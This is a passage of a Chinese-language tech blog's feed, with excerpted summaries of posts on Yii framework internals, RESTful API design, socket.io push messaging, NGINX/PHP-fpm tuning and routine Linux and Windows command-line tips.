+0800tag:youngsterxyf.github.io,2014-12-15:/2014/12/15/read-confessions-of-a-public-speaker/笔记演讲读书笔记:高性能PHP应用开发http://youngsterxyf.github.io/2014/12/08/read-high-performance-php-application/<p>注:<em>该书的部分内容过时了点 - 比如Opcode缓存:PHP 5.5之后内置一个用于缓存Opcode的组件Opcache,无需额外使用APC组件。所以需要“批判”地阅读。</em></p> +<p><img alt="mindmap-high-performance-php-application" src="/assets/uploads/pics/High-performance-php-app.png"></p> +<p>高清无码大图:<a href="https://raw.githubusercontent.com/youngsterxyf/youngsterxyf.github.com/master/assets/uploads/pics/High-performance-php-app.png">戳这里</a></p>youngsterxyfMon, 08 Dec 2014 00:00:00 +0800tag:youngsterxyf.github.io,2014-12-08:/2014/12/08/read-high-performance-php-application/PHP笔记Yii源码阅读笔记 - 应用模块化http://youngsterxyf.github.io/2014/11/20/read-yii-code-7/<h3>概述</h3> +<p>Yii框架有个“模块(Module)”的概念,与“应用(Application)”类似,模块必须归属于一个父模块或者一个应用,模块不能单独部署,一个应用不一定要分模块。</p> +<p>由此可以看到,Yii的“模块”和“应用”类似于Django框架中的“应用(App)”和“项目(Project)”。</p> +<p>当一个应用的规模大到一定的程度 - 可能涉及多个团队来开发,就应该考虑分“模块”开发。“模块”通常对应应用的一个相对独立的功能。</p> +<p>一个模块化的Yii框架应用的工程目录结构大致示例如下:</p> +<p><img alt="Yii-WebApp-Modules" src="/assets/uploads/pics/yii-webapp-modules.png"></p> +<p>上图所示项目有一个名为“forum”的模块,该模块下也有自己的<code>components</code>、<code>controllers</code>、<code>models</code>、<code>views</code>、<code>extensions</code>目录,与一个普通的/不分模块的Yii框架Web应用的项目结构非常相似。</p> +<p>Yii框架模块化应用的所有模块默认都是放在<code>protected/modules</code>目录下,每个模块的内容又各自放在以模块ID(如<code>forum …</code></p>youngsterxyfThu, 20 Nov 2014 00:00:00 +0800tag:youngsterxyf.github.io,2014-11-20:/2014/11/20/read-yii-code-7/PHPYii笔记总结Yii源码阅读笔记 - 缓存http://youngsterxyf.github.io/2014/11/19/read-yii-code-6/<h3>概述</h3> +<p>从之前的文章<a href="http://youngsterxyf.github.io/2014/11/12/read-yii-code-2/">Yii源码阅读笔记 - 路由解析</a> +及<a href="http://youngsterxyf.github.io/2014/11/14/read-yii-code-4/">Yii源码阅读笔记 - Model层实现</a>可以看到Yii框架对于<strong>解析好的路由规则</strong>及<strong>数据表的schema</strong>都会根据条件尝试读写缓存 +来提高应用性能。</p> +<p>但缓存组件并非核心组件,需要额外的配置,默认ID为<code>cache</code>,如果不使用该ID,那么就得注意同时配置好框架中使用缓存的组件。</p> +<p>恰当地使用缓存组件,能明显地提高应用的性能。</p> +<p>针对不同的缓存后端(backend),Yii框架提供了多种缓存组件,如文件缓存(CFileCache)、Memcached缓存(CMemCache)、Redis缓存(CRedisCache)等。这些缓存组件(除CDummyCache外,CDummyCache并不是一个有效的缓存组件)均直接继承自抽象类CCache(见文件<code>yii/framework/caching/CCache.php</code>)。</p> +<p>下面以使用Memcached缓存为例,分析Yii框架缓存组件的实现。</p> +<h3>分析</h3> +<p>类<code>CMemcache</code>所在的整个继承树(<code>CMemcache</code> -&gt; <code>CCache</code> -&gt; <code>CApplicationComponent …</code></p>youngsterxyfWed, 19 Nov 2014 00:00:00 +0800tag:youngsterxyf.github.io,2014-11-19:/2014/11/19/read-yii-code-6/PHPYii笔记总结Yii源码阅读笔记 - 模板引擎集成http://youngsterxyf.github.io/2014/11/18/read-yii-code-5/<h3>概述</h3> +<p>通常我们会使用模板引擎来渲染HTML页面,而不是使用HTML代码中插入PHP代码的方式来编写动态页面。Yii框架中模板引擎也是作为组件引入的,默认ID为viewRenderer, +但从<a href="http://youngsterxyf.github.io/2014/11/13/read-yii-code-3/">Yii源码阅读笔记 - 组件集成</a>可以看到Yii Web应用加载的核心组件中并没有viewRenderer,所以需要自己配置。 +Yii提供了一个直接可用的模板引擎组件类CPradoViewRenderer(见文件<code>yii/framework/web/renderers/CPradoViewRenderer.php</code>),该模板引擎类让开发者可以使用类Prado框架的模板语法。</p> +<p>如果你想使用Smarty这种第三方模板引擎,有两种方式将模板引擎引入Yii中使用(以Smarty为例):</p> +<ol> +<li>将Smarty封装成一个Yii的普通组件,然后配置加载到Yii::app()。假设组件ID为smarty,那么就可以通过<code>Yii::app()-&gt;smarty</code>来调用组件。</li> +<li>参考CPradoViewRenderer类的实现,将Smarty封装成一个模板引擎组件,并以ID为viewRenderer进行配置加载。</li> +</ol> +<p>相比而言,第二种方式更好。原因是:第一种方式由于每种第三方模板引擎的接口不一样,如果应用要替换模板引擎,就需要修改控制器类中的代码。而第二种方式由于第三方组件统一封装成Yii框架定义的模板引擎接口形式, +所以如果要替换模板引擎,只需修改自定义模板引擎组件类的接口实现就可以了。这样调用模板引擎的代码逻辑就只依赖接口形式,而不是依赖于接口实现,从而实现解耦。</p> +<p>本文主要分析第二种方式的实现。</p> +<h3>分析</h3> +<p>Yii中对页面模板进行渲染可以调用 …</p>youngsterxyfTue, 18 Nov 2014 00:00:00 +0800tag:youngsterxyf.github.io,2014-11-18:/2014/11/18/read-yii-code-5/PHPYii笔记总结Yii源码阅读笔记 - Model层实现http://youngsterxyf.github.io/2014/11/14/read-yii-code-4/<h3>概述</h3> +<p>Yii中,对Model层的使用,有两种方式:</p> +<ol> +<li>通过类CDbConnection和CDbCommand来操作</li> +<li>使用ORM形式:编写model类继承自抽象类CActiveRecord</li> +</ol> +<p>第1种方式的示例如下:</p> +<div class="highlight" style="background: #ffffff"><pre style="line-height: 125%"><span></span><span style="color: #0000ff">&lt;?php</span> +$connection = Yii::app()-&gt;db; <span style="color: #008000">// 或者Yii::app()-&gt;getComponent(&#39;db&#39;);</span> +$queryResult = $connection-&gt;createCommand($sql)-&gt;queryRow(); +</pre></div> + + +<p>第2种方式中编写的model类可能需要实现方法<code>getDbConnection</code>、<code>model</code>、<code>tableName</code>。</p> +<p>在实现上,第2种方式是基于第1种方式的,即第2种方式的抽象程度更高。Yii没有屏蔽第1种方式,这样能让开发者按需选择。 +但我个人并不喜欢这样,两种方式同时存在,会导致应用的model实现稍显混乱。</p> +<h3>分析</h3> +<p>Yii框架model层的入口为CDbConnection类,该类有很多public的属性可供配置,如<code>connectionString</code>、<code>username</code>、<code>password</code>等。</p> +<p>根据<a href="http://youngsterxyf.github.io/2014/11/13/read-yii-code-3/">Yii源码阅读笔记 - 组件集成</a>一文可知,组件初始化时会调用init方法。 +类CDbConnection的init类实现如下:</p> +<div class="highlight" style="background: #ffffff"><pre style="line-height: 125%"><span></span>public function …</pre></div>youngsterxyfFri, 14 Nov 2014 00:00:00 +0800tag:youngsterxyf.github.io,2014-11-14:/2014/11/14/read-yii-code-4/PHPYii笔记总结Yii源码阅读笔记 - 组件集成http://youngsterxyf.github.io/2014/11/13/read-yii-code-3/<h3>概述</h3> +<p>Yii框架将各种功能封装成组件,使用时按需配置加载,从而提高应用的性能。内置的组件又分为核心组件与非核心组件,核心组件是任何Web应用和Console应用都需要的。 +此外,应用开发者还可以按照一定规则封装配置使用自己的功能组件。Yii会把应用需要的组件都加载到应用容器<code>Yii::app()</code>中,使得组件的使用方式一致方便。</p> +<p>基于Yii框架开发应用需要理解如何配置组件、如何开发自己的组件,对应着需要理解Yii是如何注册加载组件的。</p> +<h3>分析</h3> +<p>从<a href="http://youngsterxyf.github.io/2014/11/04/read-yii-code-1/">Yii源码阅读笔记 - 请求处理基本流程</a>一文可知,Yii加载组件的入口为抽象类CApplication构造方法中的以下两行代码:</p> +<div class="highlight" style="background: #ffffff"><pre style="line-height: 125%"><span></span>$this-&gt;registerCoreComponents(); +$this-&gt;configure($config); +</pre></div> + + +<hr> +<p><code>registerCoreComponents</code>方法定义于类CWebApplication中,用于加载Web应用的核心组件,组件列表如下:</p> +<div class="highlight" style="background: #ffffff"><pre style="line-height: 125%"><span></span>array( + // 核心组件 + &#39;coreMessages&#39;=&gt;array( + &#39;class&#39;=&gt;&#39;CPhpMessageSource&#39;, + &#39;language&#39;=&gt;&#39;en_us&#39;, + &#39;basePath&#39;=&gt;YII_PATH.DIRECTORY_SEPARATOR.&#39;messages&#39;, + ), + &#39;db&#39;=&gt;array( + &#39;class&#39;=&gt;&#39;CDbConnection&#39;, + ), + &#39;messages&#39;=&gt;array( + &#39;class …</pre></div>youngsterxyfThu, 13 Nov 2014 00:00:00 +0800tag:youngsterxyf.github.io,2014-11-13:/2014/11/13/read-yii-code-3/PHPYii笔记总结Yii源码阅读笔记 - 路由解析http://youngsterxyf.github.io/2014/11/12/read-yii-code-2/<h3>概述</h3> +<p>Yii框架的路由解析功能由核心组件urlManager来完成。路由的形式有两种:</p> +<ul> +<li>get:通过URL中查询字符串(query string)参数r来指定路由,如:<code>r=controllerID/actionID</code></li> +<li>path:直接通过URL来指定,如:<code>/controllerID/actionID</code></li> +</ul> +<p>默认使用get路由形式。由于Yii中controller类命名和action方法都是按照规则命名的,而路由也是按照规则来匹配的,所以完全可以不用额外配置urlManager。</p> +<p>若需要使用path方式,则可如下配置:</p> +<div class="highlight" style="background: #ffffff"><pre style="line-height: 125%"><span></span>&quot;components&quot; =&gt; array( + &#39;urlManager&#39; =&gt; array( + &#39;urlFormat&#39; =&gt; &#39;path&#39;, + &#39;rules&#39; =&gt; array( + ... + ), +), +</pre></div> + + +<p>进一步说明可参考<a href="http://youngsterxyf.github.io/2014/09/06/experience-about-restful-api/">RESTful API设计的一点经验</a>一文。</p> +<h3>分析</h3> +<p>在“请求处理基本流程”一篇可以看到Yii框架路由解析流程的入口在类CWebApplication的processRequest方法中:</p> +<div class="highlight" style="background: #ffffff"><pre style="line-height: 125%"><span></span>$route=$this-&gt;getUrlManager()-&gt;parseUrl($this-&gt;getRequest()); +</pre></div> + + +<p>其中getUrlManager方法定义于类CApplication中,作用是初始化获取URL管理组件(ID为urlManager),实现如下:</p> +<div class="highlight" style="background: #ffffff"><pre style="line-height: 125%"><span></span>public …</pre></div>youngsterxyfWed, 12 Nov 2014 00:00:00 +0800tag:youngsterxyf.github.io,2014-11-12:/2014/11/12/read-yii-code-2/PHPYii笔记总结读文笔记:An Introduction to APIshttp://youngsterxyf.github.io/2014/11/09/an-introduction-to-apis/<p>原文:<a href="https://zapier.com/learn/apis/">An Introduction to APIs</a></p> +<p><em>注:该文是入门级别的文章</em></p> +<p><img alt="mind-mapping" src="/assets/uploads/pics/An-Introduction-to-APIs.png"></p> +<p><a href="https://raw.githubusercontent.com/youngsterxyf/youngsterxyf.github.com/master/assets/uploads/pics/An-Introduction-to-APIs.png">高清无码大图</a></p>youngsterxyfSun, 09 Nov 2014 00:00:00 +0800tag:youngsterxyf.github.io,2014-11-09:/2014/11/09/an-introduction-to-apis/笔记APIRESTYii源码阅读笔记 - 请求处理基本流程http://youngsterxyf.github.io/2014/11/04/read-yii-code-1/<p>对于Web框架,我认为其主要有三点作用:</p> +<ol> +<li>提供多人协作的基本规范</li> +<li>避免重复造轮子</li> +<li>开发者只需关注业务逻辑,脏活(如:基本的安全防范、兼容问题)Web框架都已完成并提供设计良好的API</li> +</ol> +<p>但代价是学习成本 - 为了尽可能发挥Web框架的优势,需要花一些阅读文档,甚至是框架源码(特别是文档缺乏或者文档写得垃圾的),然后经过几次项目实践,一切才能了然于胸。</p> +<p>喏,为了在工作中更好地使用、避免误用Yii框架,大致阅读了Yii框架的部分代码,然后有了这个系列的笔记。</p> +<hr> +<p>深入学习一个Web框架,首先要理解的是请求处理流程。对于PHP而言,处理流程也即包含了应用的初始化过程,如加载配置、初始化组件等。请求处理流程中最核心的应该是路由解析和分发,此外可能还有过滤器处理、事件处理等,直到请求处理进入具体的Controller和Action。响应生成、过滤等也可以关注。</p> +<hr> +<p>基于Yii框架的工程目录结构大致如下所示:</p> +<p><img alt="Yii-Project-Structure" src="/assets/uploads/pics/yii-project-structure.png"></p> +<ul> +<li>index.php是应用的入口</li> +<li>protected目录是存放动态脚本的地方<ul> +<li>components子目录存放各种组件类</li> +<li>configs存放应用的配置文件</li> +<li>controllers存放Controller类文件</li> +<li>models存放Model类文件</li> +<li>runtime存放一些应用生成的临时文件或者缓存文件,如Smarty编译好的模板、日志文件</li> +<li>views存放View模板文件</li> +</ul> +</li> +<li>static目录存放静态文件,如CSS、JS、图片等 …</li></ul>youngsterxyfTue, 04 Nov 2014 00:00:00 +0800tag:youngsterxyf.github.io,2014-11-04:/2014/11/04/read-yii-code-1/PHPYii笔记总结QCon上海2014大会见闻录http://youngsterxyf.github.io/2014/10/21/qcon-sh-2014-seen-heard/<h2>技术</h2> +<h4>主题演讲</h4> +<p><strong>软件项目变更的管理和生存之道</strong></p> +<p>个人对这个演讲的印象比较深。演讲者即是最近比较火的《Java程序员修炼之道》一书的作者。</p> +<p>演讲大致以“提出问题 -&gt; 分析问题 -&gt; 解决问题”的思路陈述。</p> +<p>问题是:在软件演化的整个过程中,变化是始终存在的。如:</p> +<ul> +<li>基础架构层面的变化:迁移到新的服务提供商、系统升级</li> +<li>用户数的变化:突然的增长、持续稳定地增长</li> +<li>代码的变更:发布新版本、依赖库升级、新的子系统</li> +</ul> +<p>这些变化可能会导致两个问题的发生:</p> +<ul> +<li>服务中断:完全无法为用户提供服务,特别是生产环境变更导致的,发布后的服务中断</li> +<li>性能问题:性能退化/降级,但可能也不是完全不可用,在预览版(pre-release)和正式发布后(post-release)都可能发生,经常是因为不完全的性能测试造成的。(性能测试是指<strong>基于测量的方法</strong>来理解一定负载下应用的行为)</li> +</ul> +<p>“变化”导致的问题,说到底是人为造成:</p> +<blockquote> +<p>No matter what …</p></blockquote>youngsterxyfTue, 21 Oct 2014 00:00:00 +0800tag:youngsterxyf.github.io,2014-10-21:/2014/10/21/qcon-sh-2014-seen-heard/笔记总结中心化日志记录架构(译)http://youngsterxyf.github.io/2014/10/14/centralized-logging-architecture/<p>原文:<a href="http://jasonwilder.com/blog/2013/07/16/centralized-logging-architecture/">Centralized Logging Architecture</a></p> +<p>译者:<a href="https://github.com/youngsterxyf">youngsterxyf</a></p> +<p>在<a href="http://jasonwilder.com/blog/2012/01/03/centralized-logging/">中心化日志记录</a>一文中,我介绍了几个工具,用于解决中心化日志记录的问题。但这些工具一般仅能解决这个问题的一部分, +这意味着需要综合使用几个工具来构建一个健壮的解决方案。</p> +<p>你需要解决问题的这几个主要方面:<em>收集</em>、<em>传输</em>、<em>存储</em>、以及<em>分析</em>。某些特殊的应用场景下,也许还希望具备<em>告警</em>的能力。</p> +<h4>收集</h4> +<p>应用程序以不同的方式产生日志,一些是通过syslog,其他一些是直接写到文件。考虑一个运行在linux主机上的典型web应用,在<code>/var/log</code>目录会有十几个甚至更多的日志文件, +如果一些应用指定日志存放在HOME目录或者其他位置,则这些目录下也是如此。</p> +<p>如果你正在运营一个基于web的应用,开发人员或者运维同事需要快速地访问日志数据以便对线上问题进行排错,那么就需要一个能够近乎实时监控日志文件变化的方案。 +如果使用基于日志拷贝的方式 --- 文件以固定的时间间隔拷贝到一台中心服务器上,那么仅能检查与复制操作频率相同的新增日志数据。当站点已经挂掉,而你正在等待相关日志数据的复制, +那么一分钟一次的 rsync cron 任务也许还不够快。</p> +<p>从另外一个角度来看,如果需要分析线下日志数据,计算各种度量指标,或者其他批量的工作 …</p>youngsterxyfTue, 14 Oct 2014 00:00:00 +0800tag:youngsterxyf.github.io,2014-10-14:/2014/10/14/centralized-logging-architecture/翻译日志架构流行PHP项目的phpmetrics分析(译)http://youngsterxyf.github.io/2014/09/22/phpmetrics-of-popular-php-projects/<p>原文:<a href="https://peteraba.com/blog/phpmetrics-of-popular-projects/">phpmetrics of popular php projects</a></p> +<p>译者:<a href="https://github.com/youngsterxyf">youngsterxyf</a></p> +<p>之前我偶然发现一个名为<a href="http://www.phpmetrics.org/">phpmetrics</a>的新工具,可用于计算及展示php的度量指标。我当时立马喜欢上了这个工具,并决定用它分析我认为重要的一些php项目。 +我知道这个项目列表还远远不够完善,但应该仍然值得一看。我特别喜欢其中的“可维护性”报告,我发现视觉上那些红色的斑点就和丑陋的代码一样令人厌恶。</p> +<p>这个工具貌似还有点小bug,我会尽力尽快修复这个工具项目的这些小问题。</p> +<p><strong>一些重要的说明</strong></p> +<ul> +<li>目前我还无法得到Cakephp和Typo3的分析报告,之后我会尽快调查一下这个问题。</li> +<li>我是在完整的代码库或下载的源码包上执行这个工具的,这意味着某些情况下还分析了项目的外部依赖库。之后我可能会调整,但目前不在计划之内。</li> +<li>有些项目包含很多代码库,所以我无法确保测试的都是正确的那个代码库。<em>Joomla</em>尤其可能这样。</li> +<li>某些项目并非非常知名,但在github上呈现关注度上升趋势。</li> +<li>dm-mailer这个项目无足轻重,只是我最新的个人兴趣项目。我将它与phpmetrics一起归到Backfire一节。</li> +<li>注意:php-yaf和phalcon都是非常有意思的php框架,但多数代码是C实现的,因此没有包含进来。</li> +</ul> +<hr> +<p>说明:阅读该报告的一点小提示:</p> +<ul> +<li>更多的斑点只是意味着更多的类</li> +<li>红色意味着不可维护,黄色表示可接受,绿色则表明良好、可维护的代码。</li> +</ul> +<hr> +<h3>分析结果 …</h3>youngsterxyfMon, 22 Sep 2014 00:00:00 +0800tag:youngsterxyf.github.io,2014-09-22:/2014/09/22/phpmetrics-of-popular-php-projects/翻译PHPRESTful API设计的一点经验http://youngsterxyf.github.io/2014/09/06/experience-about-restful-api/<p>前段时间的工作涉及产品开放API的设计与实现,整个过程大致可分为以下几个步骤:</p> +<ol> +<li>根据需求、原有数据库设计等,花了半天左右的工夫完成初稿;</li> +<li>就初稿与相关同事进行讨论,确定一些细节问题,逐步完善;</li> +<li>根据设计稿,基于Yii框架,配置路由,实现用户身份认证模块;</li> +<li>基于步骤3,逐个实现业务相关API;</li> +<li>对部分代码进行重构,减少不必要的代码重复。主要使用Yii控制器的beforeAction方法来实现多层过滤器。</li> +</ol> +<h3>设计</h3> +<p>考虑到RESTful API简洁明了的接口表现形式,一开始我们就一致确定使用RESTful风格的API。参考以前自己使用多个开放平台API的经验, +及<a href="https://developer.github.com/v3/">Github的开放API文档</a>,大致完成设计初稿。</p> +<h5>资源</h5> +<p>RESTful API主要有两个核心:</p> +<ol> +<li>HTTP协议的4个谓词 - GET、POST、PUT、DELETE,分别对应“查询”、“新增”、“更新”、“删除”4种操作</li> +<li>资源(resource)</li> +</ol> +<p>RESTful风格API的设计,最难之处,我认为就是“资源”。</p> +<p>“资源”是什么?“资源”并不是对应数据库中一个一个数据表,“资源 …</p>youngsterxyfSat, 06 Sep 2014 00:00:00 +0800tag:youngsterxyf.github.io,2014-09-06:/2014/09/06/experience-about-restful-api/笔记RESTful基于socket.io的实时消息推送http://youngsterxyf.github.io/2014/09/06/socket.io-push-server/<p>用户访问Web站点的过程是基于HTTP协议的,而HTTP协议的工作模式是:请求-响应,客户端发出访问请求,服务器端以资源数据响应请求。 +也就是说,服务器端始终是被动的,即使服务器端的资源数据发生变化,如果没有来自客户端的请求,用户就不会看到这些变化。 +这种模式是不适合某些应用场景的,比如在社交网络用户需要近乎实时地知道其他用户最新的信息。对于普通站点来说, +请求-响应模式可以满足绝大多数的功能需求,但总有某些功能我们希望能够为用户提供实时消息的体验。</p> +<p>为解决这个问题,有两种方案可以选择:</p> +<ol> +<li>仍旧使用请求-响应模式,只是增大请求的频率或者使用长连接,来达到尽可能接近实时的效果,如使用polling/long-polling,但可能会极大地增加服务器的负载压力或降低服务器的吞吐量</li> +<li>使用新的协议,在服务器端有资源数据更新时,主动推送给客户端,如WebSocket,虽然这种思路也是使用了长连接,但效率更高,且是客户端服务器端之间的全双工通信。 +问题在于目前各大浏览器并不都支持WebSocket。</li> +</ol> +<p>那么目前最好的方式就是结合以上两种方案,在不同的浏览器中,尽可能使用浏览器支持的最好的方案,即浏览器支持第二种方案时,优先使用第二种方案,否则使用第一种方案。socket.io就是这么做的,并且在服务器端和客户端对于不同的方案提供统一的接口。</p> +<hr> +<p>在我们产品的站内信功能中,希望能够给在线用户实时推送公共消息或私有消息。考虑到以后可能还有其他功能需要实现实时消息推送,所以将实时消息推送实现为一个单独的服务。这种针对不同特性的功能进行解耦也为之后针对性的优化做了铺垫。</p> +<p>解耦之后的系统结构如下所示:</p> +<p><img alt="socket.io-push-server" src="https://raw.github.com/youngsterxyf/youngsterxyf.github.com/master/assets/uploads/pics/socket.io-push-server.png"></p> +<p>当站点服务器(A)监测到资源数据更新事件发生时,先将数据推送到消息推送服务器 …</p>youngsterxyfSat, 06 Sep 2014 00:00:00 +0800tag:youngsterxyf.github.io,2014-09-06:/2014/09/06/socket.io-push-server/socket.io消息推送笔记面向分布式系统工程师的分布式系统理论(译)http://youngsterxyf.github.io/2014/08/10/Distributed-systems-theory-for-the-distributed-systems-engineer/<p>原文:<a href="http://the-paper-trail.org/blog/distributed-systems-theory-for-the-distributed-systems-engineer/">Distributed systems theory for the distributed systems engineer</a></p> +<p>译者:<a href="https://github.com/youngsterxyf">youngsterxyf</a></p> +<p>Gwen Shapira,大腕级的解决方案架构师(SA),如今Cloudera的全职工程师,在<a href="https://twitter.com/gwenshap/status/497203248332165121">Twitter上提的一个问题</a>引起了我的思考。</p> +<p>如果是以前,我可能会回答“嗯,这里有篇FLP论文,这里有篇Paxos论文,这里还有篇拜占庭将军问题的论文...”,我会罗列一箩筐重要的材料,如果你一头扎进去,至少花费6个月的时间才能过一遍这些材料。然而我已逐渐明白推荐大量的理论性的论文通常恰恰是着手学习分布式系统理论的错误方式(除非你在做一个PhD项目)。论文通常比较深入难懂,需要认真地研习,通常还需要<em>大量的时间投入(significant experience)</em>来理清这些论文的重要贡献,以及在整个理论体系中的位置。要求工程师具备这样的专业水平又有多大的意义呢?</p> +<p>但是,很遗憾,对分布式系统理论方面的重大研究成果和思想进行概括、归纳、背景分析的‘导引’性质的优秀材料非常缺乏;特别是没有居高临下态度的材料。对这块空白区域的思考让我想到了另一个有趣的问题:</p> +<p><em>一个分布式系统工程师应该知道些什么分布式系统理论?</em></p> +<p>在这种情况下 …</p>youngsterxyfSun, 10 Aug 2014 00:00:00 +0800tag:youngsterxyf.github.io,2014-08-10:/2014/08/10/Distributed-systems-theory-for-the-distributed-systems-engineer/分布式系统翻译技术问题一问一答http://youngsterxyf.github.io/2014/06/26/recently-technology-tips/<ul> +<li><strong>如何方便地删除某目录下所有空文件?</strong></li> +</ul> +<p><code>find . -size 0 -exec rm {} \;</code> 或 <code>find . -size 0 | xargs rm -f</code></p> +<p>find默认会递归遍历所有子目录,如果想只在当前目录查找,可以添加参数<code>-prune</code>。</p> +<hr> +<ul> +<li><strong>如何查看某进程打开了哪些文件?</strong></li> +</ul> +<p>先通过<code>ps aux | grep [进程名]</code>找到该进程的进程号,然后<code>ls -la /proc/[进程号]/fd</code>,输出不仅包含打开的普通文件。</p> +<p>另一种不太直观的方法是使用lsof,<code>lsof -c [进程名]</code>,但这个命令的输出包含进程打开的各种类型的文件,可以简单过滤一下<code>lsof -c [进程名] | grep REG</code>。</p> +<hr> +<ul> +<li><strong>如何重启php-fpm?</strong></li> +</ul> +<p>php5.3.3以上版本的php-fpm不再支持php-fpm以前具有的<code>php-fpm (start|stop|reload …</code></p>youngsterxyfThu, 26 Jun 2014 00:00:00 +0800tag:youngsterxyf.github.io,2014-06-26:/2014/06/26/recently-technology-tips/笔记微信服务号开发笔记http://youngsterxyf.github.io/2014/06/14/wechat-service-account-development/<h3>原理</h3> +<p>微信服务号的原理比较简单。从请求响应角度来看,逻辑是:</p> +<p><strong>用户微信客户端 &lt;---&gt; 微信服务器 &lt;---&gt; 微信服务号后台程序 &lt;---&gt; 数据库或Web Service</strong></p> +<p>也就是,用户的各种请求先经过微信的服务器,微信服务器将请求转发给微信服务号后台程序。</p> +<p>既然是微信服务器把用户请求数据转发给我们开发的微信服务号后台程序,那么在启用服务号的开发模式时就需要提供一个URL。另外为了安全 +考虑,还需要提供一个token,用来校验请求是否来自微信服务器。校验的方法见<a href="http://mp.weixin.qq.com/wiki/index.php?title=%E9%AA%8C%E8%AF%81%E6%B6%88%E6%81%AF%E7%9C%9F%E5%AE%9E%E6%80%A7">微信开发者文档</a>。校验又分两种:</p> +<blockquote> +<p>在开发者首次提交验证申请时,微信服务器将发送GET请求到填写的URL上,并且带上四个参数(signature、timestamp、nonce、echostr),开发者通过对签名(即signature)的效验,来判断此条消息的真实性。</p> +<p>此后,每次开发者接收用户消息的时候,微信也都会带上前面三个参数(signature、timestamp、nonce)访问开发者设置的URL,开发者依然通过对签名的效验判断此条消息的真实性。效验方式与首次提交验证申请一致。</p> +</blockquote> +<p>微信服务器转发到微信服务号后台程序的消息以及服务号后台程序返回给微信服务器的响应,都是XML格式,消息中都会指明发送者和接收者。 +请求消息中的发送者为微信用户的openid,接收者为服务号开发者微信号,响应消息则相反。</p> +<p>消息中还有一个关键字段MsgType指明消息类型。微信将请求消息分为:普通消息 …</p>youngsterxyfSat, 14 Jun 2014 00:00:00 +0800tag:youngsterxyf.github.io,2014-06-14:/2014/06/14/wechat-service-account-development/微信PHP笔记高流量站点NGINX与PHP-fpm配置优化(译)http://youngsterxyf.github.io/2014/05/03/optimizing-nginx-and-php-fpm-for-high-traffic-sites/<p>原文:<a href="http://www.softwareprojects.com/resources/programming/t-optimizing-nginx-and-php-fpm-for-high-traffic-sites-2081.html">Optimizing NGINX and PHP-fpm for high traffic sites</a></p> +<p>译者:<a href="https://github.com/youngsterxyf/">youngsterxyf</a></p> +<p>使用Nginx搭配PHP已有7年的这份经历让我们学会如何为高流量站点优化NGINX和PHP-fpm配置。</p> +<p>以下正是这方面的一些提示和建议:</p> +<h4>1. 将TCP切换为UNIX域套接字</h4> +<p>UNIX域套接字相比TCP套接字在loopback接口上能提供更好的性能(更少的数据拷贝和上下文切换)。</p> +<p>但有一点需要牢记:仅运行在同一台服务器上的程序可以访问UNIX域套接字(显然没有网络支持)。</p> +<div class="highlight" style="background: #ffffff"><pre style="line-height: 125%"><span></span>upstream backend +{ + # UNIX domain sockets + server unix:/var/run/fastcgi.sock; + + # TCP sockets + # server 127.0.0.1:8080; +} +</pre></div> + + +<h4>2. 调整工作进程数</h4> +<p>现代计算机硬件是多处理器的,NGINX可以利用多物理或虚拟处理器。</p> +<p>多数情况下,你的Web服务器都不会配置为处理多种任务(比如作为Web服务器提供服务的同时也是一个打印服务器),你可以配置NGINX使用所有可用的处理器,NGINX工作进程并不是多线程的。</p> +<p>运行以下命令可以获知你的机器有多少个处理器:</p> +<p>Linux上 …</p>youngsterxyfSat, 03 May 2014 00:00:00 +0800tag:youngsterxyf.github.io,2014-05-03:/2014/05/03/optimizing-nginx-and-php-fpm-for-high-traffic-sites/NginxPHP服务器Firefox中“max-width:100%”不兼容问题http://youngsterxyf.github.io/2014/04/28/max-width-in-firefox/<p>这个博客是基于“<a href="http://docs.getpelican.com/en/3.3.0/">Pelican</a> + <a href="http://wowubuntu.com/markdown/">Markdown</a> + +<a href="https://github.com/youngsterxyf/my-pelican-themes/tree/master/my-gum">定制的my-gum主题</a>”的。定制的主题将博文正文页面的 +右边栏去掉,这导致在Firefox等浏览器中,正文中大的图片会突破正文块的宽度,高度也得不到限制,显示效果非常差。</p> +<p>其原因是:Markdown的<a href="http://wowubuntu.com/markdown/#img">图片区块元素</a><code>![Alt +text](/path/to/img.jpg)</code>渲染成HTML元素的结果为 -</p> +<div class="highlight" style="background: #ffffff"><pre style="line-height: 125%"><span></span>&lt;p&gt; + &lt;img src=<span style="color: #a31515">&quot;/path/to/img.jpg&quot;</span> alt=<span style="color: #a31515">&quot;Alt text&quot;</span>&gt;&lt;/img&gt; +&lt;/p&gt; +</pre></div> + + +<p><code>&lt;p&gt;</code>元素内的元素是行内(inline)元素。主题my-gum使用的CSS框架<a href="http://gumbyframework.com/">gumby</a>对img元素是使用<code>max-width: +100%</code>将图片的最大宽度限制为父元素的宽度。但<a href="https://developer.mozilla.org/en-US/docs/Web/CSS/max-width">在Firefox中max-width对于行内元素并不会生效(all elements but non-replaced +inline …</a></p>youngsterxyfMon, 28 Apr 2014 00:00:00 +0800tag:youngsterxyf.github.io,2014-04-28:/2014/04/28/max-width-in-firefox/CSS浏览器兼容JavaScriptWindows命令提示符中统计行数(译)http://youngsterxyf.github.io/2014/03/05/counting-lines-in-cmd/<p>原文:<a href="http://rickardnobel.se/counting-lines-in-windows-command-prompt/">Counting lines in Windows command prompt</a></p> +<p>译者:<a href="https://github.com/youngsterxyf">youngsterxyf</a></p> +<p><strong>使用内置工具FIND统计cmd.exe输出的行数非常方便!</strong></p> +<p>在命令行环境中工作时,能够统计不同工具的输出结果的行数有时会非常有用。许多Unix/Linux操作系统都包含带有许多功能选项的<strong>wc</strong> +工具,Windows则没有内置一样的替代品,但是Windows命令提示符(cmd.exe)原生支持了部分相同功能。</p> +<p>本文将讲述在cmd.exe中我们可以如何使用<strong>FIND</strong>工具来统计行数。工具find,有些类似于Unix上的grep,自MS-DOS以来就一直存在, +使用简单。</p> +<p>假设我们有一台Windows服务器,想看看当前有多少个活跃的TCP会话。这可以使用netstat命令,并且通过管道连接FIND来查找已建立的会话。</p> +<p><strong>netstat -ano | find /i "estab"</strong></p> +<p><img alt="established-TCP-2.png" src="https://raw.github.com/youngsterxyf/youngsterxyf.github.com/master/assets/uploads/pics/established-TCP-2.png"></p> +<p>这行命令的输出可能会有几百行以至于占满整个命令提示符窗口,而我们可能仅仅关心会话的数目。通过在这行命令之后增加一个<strong>/c</strong>开关选项, +我们就能得到打开的TCP会话的数目。</p> +<p>我们仍然使用上一个命令的过滤规则(通过查找字符串“estab”来找到包含ESTABLISHED状态的行)但带有 …</p>youngsterxyfWed, 05 Mar 2014 00:00:00 